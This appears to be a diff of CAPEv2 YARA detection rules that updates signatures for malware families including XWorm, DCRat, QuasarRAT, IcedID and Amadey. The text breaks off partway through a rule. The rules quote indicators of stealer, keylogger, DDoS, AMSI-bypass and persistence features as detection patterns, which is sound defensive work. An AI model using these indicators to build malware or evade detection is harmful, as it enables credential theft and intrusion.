"XWorm Payload" strings: - $decrypt = {8B C1 8D B5 FC FE FF FF 33 D2 03 F1 F7 75 10 88 0C 33 41 8A 04 3A 88 06 81 F9 00 01 00 00 7C E0} - $string1 = "(*^GF(9042&*" - $string2 = "s2-18rg1-41g3j_.;" - $string3 = "GET" wide - $string4 = "open" + $x1 = "XWorm " wide nocase + $x2 = /XWorm\s(V|v)\d+\.\d+/ fullword wide + $s1 = "RunBotKiller" fullword wide + $s2 = "XKlog.txt" fullword wide + $s3 = /(shell|reg)fuc/ fullword wide + $s4 = "closeshell" fullword ascii + $s5 = { 62 00 79 00 70 00 73 00 73 00 00 ?? 63 00 61 00 6c 00 6c 00 75 00 61 00 63 00 00 ?? 73 00 63 00 } + $s6 = { 44 00 44 00 6f 00 73 00 54 00 00 ?? 43 00 69 00 6c 00 70 00 70 00 65 00 72 00 00 ?? 50 00 45 00 } + $s7 = { 69 00 6e 00 6a 00 52 00 75 00 6e 00 00 ?? 73 00 74 00 61 00 72 00 74 00 75 00 73 00 62 } + $s8 = { 48 6f 73 74 00 50 6f 72 74 00 75 70 6c 6f 61 64 65 72 00 6e 61 6d 65 65 65 00 4b 45 59 00 53 50 4c 00 4d 75 74 65 78 78 00 } + $v2_1 = "PING!" fullword wide + $v2_2 = "Urlhide" fullword wide + $v2_3 = /PC(Restart|Shutdown)/ fullword wide + $v2_4 = /(Start|Stop)(DDos|Report)/ fullword wide + $v2_5 = /Offline(Get|Keylogger)/ wide + $v2_6 = "injRun" fullword wide + $v2_7 = "Xchat" fullword wide + $v2_8 = "UACFunc" fullword ascii wide condition: - uint16( 0 ) == 0x5A4D and all of them + uint16( 0 ) == 0x5a4d and ( ( 1 of ( $x* ) and ( 3 of ( $s* ) or 3 of ( $v2* ) ) ) or 6 of them ) } -rule CAPE_Bazar : FILE +rule CAPE_Xworm_Kingrat { meta: description = "No description has been set in the source file - CAPE" - author = "kevoreilly" - id = "e042f180-2a82-5c93-9858-77281557dd10" - date = "2021-08-26" - modified = "2022-06-09" + author = "jeFF0Falltrades" + id = "76332a42-97c9-52fe-83dc-04ceb367f692" + date = "2024-10-09" + modified = "2025-02-03" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Bazar.yar#L1-L11" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "9375f59b56e47fd0b90b089afdf3be8f16f960038fc625523a2e2d5509ab099d" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/AsyncRAT.yar#L138-L155" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "3914be652bb7271e5e6b89d05edf10a54f8ddaf9e22d194b60501aa2cdd495d3" score = 75 - quality = 70 - tags = "FILE" - cape_type = "Bazar Payload" + quality = 66 + tags = "" + cape_type = "XWorm payload" strings: - $decode = {F7 E9 [0-2] C1 FA 0? 8B C2 C1 E8 1F 03 D0 6B C2 ?? 2B C8} - $rsa = {C7 00 52 53 41 33 48 8D 48 09 C7 40 04 00 08 00 00 4C 8D 05 [3] 00 C6 40 08 03 B8 09 00 00 00 [0-3] 48 8D 89 80 00 00 00 41 0F 10 00} + $str_xworm = "xworm" wide ascii nocase + $str_xwormmm = "Xwormmm" wide ascii + $str_xclient = "XClient" wide ascii + $str_default_log = "\\Log.tmp" wide ascii + $str_create_proc = "/create /f /RL HIGHEST /sc minute /mo 1 /t" wide ascii + $str_ddos_start = "StartDDos" wide ascii + $str_ddos_stop = "StopDDos" wide ascii + $str_timeout = "timeout 3 > NUL" wide ascii + $byte_md5_hash = { 7e [3] 04 28 [3] 06 6f } + $patt_config = { 72 [3] 70 80 [3] 04 } condition: - uint16( 0 ) == 0x5A4D and 2 of them + 5 of them and #patt_config >= 7 } -rule CAPE_Fareit : FILE +rule CAPE_Dcrat : FILE { meta: - description = "Fareit Payload" - author = "kevoreilly" - id = "b3c4eb86-d104-5f31-afa4-5bf5f370f64e" - date = "2019-10-30" - modified = "2022-06-09" + description = "DCRat payload" + author = "ditekSHen" + id = "16c81fe0-2c18-55e9-aa17-cfd4213d6a17" + date = "2024-10-09" + modified = "2025-02-03" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Fareit.yar#L1-L11" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "ed35391ffc949219f380da3f22bc8397a7d5c742bd68e227c3becdebcab5cf83" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/AsyncRAT.yar#L157-L222" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "5a02dcc2b9c7eb3efdba39047e37886240b45fb7e2db3b82aa5b4b9526dfb7f8" score = 75 - quality = 70 + quality = 45 tags = "FILE" - cape_type = "Fareit Payload" + cape_type = "DCRat Payload" strings: - $string1 = {0D 0A 09 09 0D 0A 0D 0A 09 20 20 20 3A 6B 74 6B 20 20 20 0D 0A 0D 0A 0D 0A 20 20 20 20 20 64 65 6C 20 20 20 20 09 20 25 31 20 20 0D 0A 09 69 66 20 20 09 09 20 65 78 69 73 74 20 09 20 20 20 25 31 20 20 09 20 20 67 6F 74 6F 20 09 0D 20 6B 74 6B 0D 0A 20 64 65 6C 20 09 20 20 25 30 20 00} + $dc1 = "DCRatBuild" ascii + $dc2 = "DCStlr" ascii + $x1 = "px\">
DCRat Keylogger" wide + $x2 = "DCRat-Log#" wide + $x3 = "DCRat.Code" wide + $string1 = "CaptureBrowsers" fullword ascii + $string2 = "DecryptBrowsers" fullword ascii + $string3 = "Browsers.IE10" ascii + $string4 = "Browsers.Chromium" ascii + $string5 = "WshShell" ascii + $string6 = "SysMngmts" fullword ascii + $string7 = "LoggerData" fullword ascii + $plugin = "DCRatPlugin" fullword ascii + $av1 = "AntiVM" ascii wide + $av2 = "vmware" fullword wide + $av3 = "VirtualBox" fullword wide + $av4 = "microsoft corporation" fullword wide + $av5 = "VIRTUAL" fullword wide + $av6 = "DetectVirtualMachine" fullword ascii + $av7 = "Select * from Win32_ComputerSystem" fullword wide + $pl1 = "dcratAPI" fullword ascii + $pl2 = "dsockapi" fullword ascii + $pl3 = "file_get_contents" fullword ascii + $pl4 = "classthis" fullword ascii + $pl5 = "typemdt" fullword ascii + $pl6 = "Plugin_AutoStealer" ascii wide + $pl7 = "Plugin_AutoKeylogger" ascii wide + $v1 = "Plugin couldn't process this action!" wide + $v2 = "Unknown command!" wide + $v3 = "PLUGINCONFIGS" wide + $v4 = "Saving log..." wide + $v5 = "~Work.log" wide + $v6 = "MicrophoneNum" fullword wide + $v7 = "WebcamNum" fullword wide + $v8 = "%SystemDrive% - Slow" wide + $v9 = "%UsersFolder% - Fast" wide + $v10 = "%AppData% - Very Fast" wide + $v11 = /\[(Up|Down|Enter|ESC|CTRL|Shift|Win|Tab|CAPSLOCK: (ON|OFF))\]<\/span>/ wide + $px1 = "[Browsers] Scanned elements: " wide + $px2 = "[Browsers] Grabbing cookies" wide + $px3 = "[Browsers] Grabbing passwords" wide + $px4 = "[Browsers] Grabbing forms" wide + $px5 = "[Browsers] Grabbing CC" wide + $px6 = "[Browsers] Grabbing history" wide + $px7 = "[StealerPlugin] Invoke: " wide + $px8 = "[Other] Grabbing steam" wide + $px9 = "[Other] Grabbing telegram" wide + $px10 = "[Other] Grabbing discord tokens" wide + $px11 = "[Other] Grabbing filezilla" wide + $px12 = "[Other] Screenshots:" wide + $px13 = "[Other] Clipboard" wide + $px14 = "[Other] Saving system information" wide condition: - uint16( 0 ) == 0x5A4D and any of ( $string* ) + uint16( 0 ) == 0x5a4d and ( all of ( $dc* ) or all of ( $string* ) or 2 of ( $x* ) or 6 of ( $v* ) or 5 of ( $px* ) ) or ( $plugin and ( 4 of ( $av* ) or 5 of ( $pl* ) ) ) } -rule CAPE_Mole : FILE +rule CAPE_Dcrat_Kingrat { meta: - description = "Mole Payload" - author = "kevoreilly" - id = "1185170f-4a5b-5347-807b-ef2af98a1a09" - date = "2019-10-30" - modified = "2019-10-30" + description = "No description has been set in the source file - CAPE" + author = "jeFF0Falltrades" + id = "9b63e361-6678-5c95-be32-777feecd194b" + date = "2024-10-09" + modified = "2025-02-03" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Mole.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "8be4d190d554a610360c0e04b33da59eb00319395e5b2000d580546ce6503786" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/AsyncRAT.yar#L224-L243" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "73ac27c3f0fc71d053e89690b5a7d29c1f8b0ea0a22e8595148a9001799fae54" + score = 75 + quality = 62 + tags = "" + cape_type = "DCRat Payload" + + strings: + $venom_1 = "VenomRAT" wide ascii nocase + $venom_2 = "HVNC_REPLY_MESSAGE" wide ascii + $str_aes_exc = "masterKey can not be null or empty" wide ascii + $str_b64_amsi = "YW1zaS5kbGw=" wide ascii + $str_b64_virtual_protect = "VmlydHVhbFByb3RlY3Q=" wide ascii + $str_dcrat = "dcrat" wide ascii nocase + $str_plugin = "save_Plugin" wide ascii + $str_qwqdan = "qwqdan" wide ascii + $byte_aes_key_base = { 7E [3] 04 73 [3] 06 80 } + $patt_config = { 72 [3] 70 80 [3] 04 } + $patt_verify_hash = { 7e [3] 04 6f [3] 0a 6f [3] 0a 74 [3] 01 } + + condition: + ( not any of ( $venom* ) ) and 5 of them and #patt_config >= 10 +} +rule CAPE_Quasarrat : FILE +{ + meta: + description = "QuasarRAT payload" + author = "ditekshen" + id = "f256b88f-eee6-5f8c-afd6-32ed10ea908d" + date = "2024-10-09" + modified = "2025-02-03" + reference = "https://github.com/kevoreilly/CAPEv2" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/AsyncRAT.yar#L245-L266" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "556b19dc0980761198ea31a285f281adae084463d24bff1eda15326436ad562b" score = 75 quality = 70 tags = "FILE" - cape_type = "Mole Payload" + cape_type = "QuasarRAT Payload" strings: - $a1 = ".mole0" wide - $a2 = "_HELP_INSTRUCTION.TXT" wide - $a3 = "-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQ" + $s1 = "GetKeyloggerLogsResponse" fullword ascii + $s2 = "GetKeyloggerLogs" fullword ascii + $s3 = "/>Log created on" wide + $s4 = "User: {0}{3}Pass: {1}{3}Host: {2}" wide + $s5 = "Domain: {1}{0}Cookie Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}" wide + $s6 = "grabber_" wide + $s7 = "" ascii + $s8 = "k__BackingField" fullword ascii + $s9 = "" ascii + $s10 = "add_OnHotKeysDown" ascii + $mutex = "QSR_MUTEX_" ascii wide + $ua1 = "Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0" fullword wide + $us2 = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A" fullword wide condition: - uint16( 0 ) == 0x5A4D and ( all of ( $a* ) ) + uint16( 0 ) == 0x5a4d and ( $mutex or ( all of ( $ua* ) and 2 of them ) or 6 of ( $s* ) ) } -rule CAPE_Chaosbot : FILE +rule CAPE_Quasarrat_Kingrat { meta: description = "No description has been set in the source file - CAPE" - author = "YungBinary" - id = "3c8ce71c-2a92-5ca9-9b33-c7059d47f4ca" - date = "2025-10-16" - modified = "2025-10-16" - reference = "https://x.com/YungBinary/status/1976580501508182269" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/ChaosBot.yar#L1-L24" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "fcb04697dbef62497421318d5dfe7cdf5533b432975ebbfb3bd64ebbfeb4a592" + author = "jeFF0Falltrades" + id = "dc0139e1-9f69-51da-b28f-212358b2f68b" + date = "2024-10-09" + modified = "2025-02-03" + reference = "https://github.com/kevoreilly/CAPEv2" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/AsyncRAT.yar#L268-L287" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "1f4296a592134edbe52e256dc353143af02e897ff1afad98f3dac0c5ab13f3f7" score = 75 - quality = 62 - tags = "FILE" - cape_type = "ChaosBot Payload" + quality = 70 + tags = "" + cape_type = "QuasarRAT Payload" strings: - $s1 = { 48 6f 73 74 20 20 63 6f 6e 6e 65 63 74 65 64 2c 20 63 68 61 6e 6e 65 6c 20 63 72 65 61 74 65 64 3a 20 3c } - $s2 = { 73 68 65 6c 6c 20 64 6f 77 6e 6c 6f 61 64 20 63 64 20 46 61 69 6c 65 64 20 74 6f 20 63 68 61 6e 67 65 20 64 69 72 65 63 74 6f 72 79 3a } - $s3 = { 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 41 6d 73 69 53 63 61 6e 42 75 66 66 65 72 45 74 77 45 76 65 6e 74 57 72 69 74 65 43 4f 4d 50 55 54 45 52 4e 41 4d 45 } - $s4 = { 43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6d 65 73 73 61 67 65 5f 2e 74 78 74 } - $bypass = { - 74 ?? - 66 C7 03 31 C0 - C6 43 02 C3 - } - $antivm = { - 48 ?? 30 30 3A 30 43 3A 32 39 - 49 39 ?? 00 - } + $str_quasar = "Quasar." wide ascii + $str_hidden = "set_Hidden" wide ascii + $str_shell = "DoShellExecuteResponse" wide ascii + $str_close = "echo DONT CLOSE THIS WINDOW!" wide ascii + $str_pause = "ping -n 10 localhost > nul" wide ascii + $str_aes_exc = "masterKey can not be null or empty" wide ascii + $byte_aes_key_base = { 7E [3] 04 73 [3] 06 25 } + $byte_aes_salt_base = { BF EB 1E 56 FB CD 97 3B B2 19 } + $byte_special_folder = { 7e 73 [4] 28 [4] 80 } + $patt_config = { 72 [3] 70 80 [3] 04 } + $patt_verify_hash = { 7e [3] 04 6f [3] 0a 6f [3] 0a 74 [3] 01 } condition: - uint16( 0 ) == 0x5a4d and ( 1 of ( $s* ) or ( $antivm and $bypass ) ) + 6 of them and #patt_config >= 10 } rule CAPE_Nemty : FILE { @@ -66340,8 +66344,8 @@ rule CAPE_Nemty : FILE date = "2020-04-03" modified = "2020-04-03" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Nemty.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Nemty.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" logic_hash = "a05974b561c67b4f1e0812639b74831edcf65686a06c0d380f0b45739e342419" score = 75 quality = 70 @@ -66356,495 +66360,491 @@ rule CAPE_Nemty : FILE condition: uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Monsterv2 : FILE +rule CAPE_Bitpaymer : FILE { meta: - description = "MonsterV2 Payload" - author = "doomedraven,YungBinary" - id = "4bc3546f-34ad-579e-9822-272a2b3c74e2" - date = "2025-09-06" - modified = "2025-09-12" + description = "BitPaymer Payload" + author = "kevoreilly" + id = "c139b514-a1ba-5d47-8f4d-8e60cddfe2ba" + date = "2019-11-27" + modified = "2019-11-27" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/MonsterV2.yar#L1-L21" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "d4e65f860e69b2eee8a818a4146d91b84ce6da30c8fa27593587932e4f0847a8" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/BitPaymer.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "6ae0dc9a36da13e483d8d653276b06f59ecc15c95c754c268dcc91b181677c4c" score = 75 quality = 70 tags = "FILE" - cape_type = "MonsterV2 Payload" - packed = "fe69e8db634319815270aa0e55fe4b9c62ce8e62484609c3a42904fbe5bb2ab3" + cape_type = "BitPaymer Payload" strings: - $decrypt_config = { - 41 B8 0E 04 00 00 - 48 8D 15 ?? ?? ?? 00 - 48 8B C? - E8 ?? ?? ?? ?? [3-17] - 4C 8B C? - 48 8D 54 24 28 - 48 8B CE - E8 ?? ?? ?? ?? - } + $decrypt32 = {6A 40 58 3B C8 0F 4D C1 39 46 04 7D 50 53 57 8B F8 81 E7 3F 00 00 80 79 05 4F 83 CF C0 47 F7 DF 99 1B FF 83 E2 3F 03 C2 F7 DF C1 F8 06 03 F8 C1 E7 06 57} + $antidefender = "TouchMeNot" wide condition: - uint16( 0 ) == 0x5A4D and $decrypt_config + uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Lokibot : FILE +rule CAPE_Rcsession { meta: - description = "LokiBot Payload" + description = "RCSession Payload" author = "kevoreilly" - id = "8cdf69e2-ecac-5241-adba-c458cce0610f" - date = "2022-02-01" - modified = "2022-02-01" + id = "841e6bd1-4f09-54dc-8dec-2e9423a34003" + date = "2019-10-30" + modified = "2019-10-30" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/LokiBot.yar#L1-L12" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "a5b3d518371138740e913d2d6ce4fa22d3da5cea7e034c7d6b4b502e6bf44b06" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/RCSession.yar#L1-L12" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "ebd1e9e615a91c35b36332cad55519607323469df738cec4464288b45787630d" score = 75 quality = 70 - tags = "FILE" - cape_type = "LokiBot Payload" + tags = "" + cape_type = "RCSession Payload" strings: - $a1 = "DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW" - $a2 = "last_compatible_version" + $a1 = {56 33 F6 39 74 24 08 7E 4C 53 57 8B F8 2B FA 8B C6 25 03 00 00 80 79 05 48 83 C8 FC 40 83 E8 00 74 19 48 74 0F 48 74 05 6B C9 09 EB 15 8B C1 C1 E8 02 EB 03 8D 04 09 2B C8} + $a2 = {83 C4 10 85 C0 74 ?? BE ?? ?? ?? ?? 89 74 24 10 E8 ?? ?? ?? ?? 6A 03 68 48 0B 00 00 56 53 57 68 02 00 00 80 E8 ?? ?? ?? ?? 83 C4 18 85 C0 74 18 E8 ?? ?? ?? ?? 6A 03 68 48} condition: - uint16( 0 ) == 0x5A4D and ( all of ( $a* ) ) + ( any of ( $a* ) ) } -rule CAPE_Bruteratel +rule CAPE_Icedid { meta: - description = "BruteRatel Payload" - author = "kevoreilly" - id = "61b951e4-0c27-59c0-8ea2-715b673fdcee" - date = "2024-07-11" - modified = "2024-07-11" + description = "IcedID Payload" + author = "kevoreilly, threathive" + id = "439342be-a1e6-5656-8813-5cebb0e88e98" + date = "2019-10-30" + modified = "2021-12-16" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/BruteRatel.yar#L1-L14" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "0984977c716d6f8e068c045166eb5db77c9fbce27513e555dceca348375f1a66" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/IcedID.yar#L1-L18" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "e60ccbab7a360020744eba65961156ca3e2ae9cf23671014f913d71c1a96a331" score = 75 - quality = 70 + quality = 45 tags = "" - cape_type = "BruteRatel Payload" + cape_type = "IcedID Payload" strings: - $syscall1 = {49 89 CA 4? 89 ?? (41 FF|FF)} - $syscall2 = {49 89 CA 48 8B 44 24 ?? FF 64 24} - $jmpapi = {49 89 ?? 10 49 C7 45 08 ?? 00 00 00 E8 00 00 00 00 ?? (48|49) 83 [2] 41 FF E2} - $decode = {89 C2 8A 14 17 40 38 EA 75 06 FF C0 89 03 EB 0B 41 88 14 08 48 FF C1 FF 03 EB} + $crypt1 = {8A 04 ?? D1 C? F7 D? D1 C? 81 E? 20 01 00 00 D1 C? F7 D? 81 E? 01 91 00 00 32 C? 88} + $crypt2 = {8B 44 24 04 D1 C8 F7 D0 D1 C8 2D 20 01 00 00 D1 C0 F7 D0 2D 01 91 00 00 C3} + $crypt3 = {41 00 8B C8 C1 E1 08 0F B6 C4 66 33 C8 66 89 4? 24 A1 ?? ?? 41 00 89 4? 20 A0 ?? ?? 41 00 D0 E8 32 4? 32} + $download1 = {8D 44 24 40 50 8D 84 24 44 03 00 00 68 04 21 40 00 50 FF D5 8D 84 24 4C 01 00 00 C7 44 24 28 01 00 00 00 89 44 24 1C 8D 4C 24 1C 8D 84 24 4C 03 00 00 83 C4 0C 89 44 24 14 8B D3 B8 BB 01 00 00 66 89 44 24 18 57} + $download2 = {8B 75 ?? 8D 4D ?? 8B 7D ?? 8B D6 57 89 1E 89 1F E8 [4] 59 3D C8 00 00 00 75 05 33 C0 40 EB} + $major_ver = {0F B6 05 ?? ?? ?? ?? 6A ?? 6A 72 FF 75 0C 6A 70 50 FF 35 ?? ?? ?? ?? 8D 45 80 FF 35 ?? ?? ?? ?? 6A 63 FF 75 08 6A 67 50 FF 75 10 FF 15 ?? ?? ?? ?? 83 C4 38 8B E5 5D C3} + $stage_2_request_binary = "id=" + $stage_2_request_img = ".png" condition: - 2 of them + any of ( $crypt* , $download* , $major_ver ) and all of ( $stage_2_request_* ) } -rule CAPE_Locky : FILE +rule CAPE_Seduploader : FILE { meta: - description = "Locky Payload" + description = "Seduploader decrypt function" author = "kevoreilly" - id = "664d0365-af49-5222-a4ed-9260332f6940" + id = "a7152d8c-a197-5784-8a6d-453d41585df1" date = "2019-10-30" modified = "2022-06-09" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Locky.yar#L1-L14" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "9786c54a2644d9581fefe64be11b26e22806398e54e961fa4f19d26eae039cd7" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Seduploader.yar#L1-L11" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "d70c886699169d4dafc5b063c93682a34af5667df6d293b52256ddc19ab9c516" score = 75 quality = 70 tags = "FILE" - cape_type = "Locky Payload" + cape_type = "Seduploader Payload" strings: - $string1 = "wallet.dat" wide - $string2 = "Locky_recover" wide - $string3 = "opt321" wide + $decrypt1 = {8D 0C 30 C7 45 FC 0A 00 00 00 33 D2 F7 75 FC 8A 82 ?? ?? ?? ?? 32 04 0F 88 01 8B 45 0C 40 89 45 0C 3B C3 7C DB} condition: - uint16( 0 ) == 0x5A4D and all of them + uint16( 0 ) == 0x5A4D and any of ( $decrypt* ) } -rule CAPE_Sedreco : FILE +rule CAPE_Amadey : FILE { meta: - description = "Sedreco encrypt function entry" - author = "kevoreilly" - id = "5b9ee4af-50a4-597c-8fa5-f2094c312d23" - date = "2019-10-30" - modified = "2022-06-09" + description = "Amadey Payload" + author = "kevoreilly, YungBinary" + id = "81d251a2-84c3-524c-8ea5-c92ca8764777" + date = "2021-02-18" + modified = "2025-08-15" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Sedreco.yar#L1-L15" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "f735549606917f59a19157e604e54766e4456bc5d46e94cae3e0a3c18b52a7ca" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Amadey.yar#L1-L15" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "988258716d5296c1323303e8fe4efd7f4642c87bfdbe970fe9a3bb3f410f70a4" + logic_hash = "5a7405a174b63826500f3b04c6f10bc9b40d5b49e85377bef027204e75dd1e9e" score = 75 quality = 70 tags = "FILE" - cape_type = "Sedreco Payload" + cape_type = "Amadey Payload" strings: - $encrypt1 = {55 8B EC 83 EC 2C 53 56 8B F2 57 8B 7D 08 B8 AB AA AA AA} - $encrypt2 = {55 8B EC 83 EC 20 8B 4D 10 B8 AB AA AA AA} - $encrypt64_1 = {48 89 4C 24 08 53 55 56 57 41 54 41 56 48 83 EC 18 45 8D 34 10 48 8B E9 B8 AB AA AA AA 4D 8B E1 44 89 44 24 60 41 F7 E0 8B F2 B8 AB AA AA AA} + $decode1 = {8B D1 B8 FF FF FF 7F D1 EA 2B C2 3B C8 76 07 BB FF FF FF 7F EB 08 8D 04 0A 3B D8 0F 42 D8} + $decode2 = {2B C8 8D 04 0A 33 D2 F7 F3 8B 5D ?? 8B CB 83 7B ?? 10} + $decode3 = {33 D2 8B 4D ?? 8B C7 F7 F6 8A 84 3B [4] 2A 44 0A 01 88 87 [4] 47 8B 45 ?? 8D 50 01} + $decode4 = {8A 04 02 88 04 0F 41 8B 7D ?? 8D 42 01 3B CB 7C} condition: - uint16( 0 ) == 0x5A4D and $encrypt1 or $encrypt2 or $encrypt64_1 + uint16( 0 ) == 0x5A4D and 2 of them } -rule CAPE_Darkcloud : FILE +rule CAPE_Codoso : FILE { meta: - description = "No description has been set in the source file - CAPE" - author = "YungBinary" - id = "b3071be2-07b0-5242-a985-7bb23fef258c" - date = "2025-10-16" - modified = "2025-10-16" - reference = "https://x.com/YungBinary/status/1971585972912689643" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/DarkCloud.yar#L1-L39" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "e9a67fce4c1e4ffa7322c225522263aa4db94ae9f29113a81f5216fb4fa68b57" + description = "Codoso Payload" + author = "kevoreilly" + id = "4c3d8d77-ffa9-576d-bf88-7b5a1bfd1811" + date = "2019-10-30" + modified = "2019-10-30" + reference = "https://github.com/kevoreilly/CAPEv2" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Codoso.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "32c9ed2ac29e8905266977a9ee573a252442d96fb9ec97d88642180deceec3f8" score = 75 - quality = 68 + quality = 70 tags = "FILE" - cape_type = "DarkCloud Payload" + cape_type = "Codoso Payload" strings: - $darkcloud1 = "===============DARKCLOUD===============" fullword wide - $creds1 = "@GateUrl" wide - $creds2 = "@StrFtpUser" wide - $creds3 = "@StrFtpPass" wide - $creds4 = "@StrFtpServer" wide - $creds5 = "@StrReceiver" wide - $creds6 = "@StrSmtpUser" wide - $creds7 = "@StrSmtpPass" wide - $sql1 = "SELECT item1 FROM metadata" wide - $sql2 = "SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted 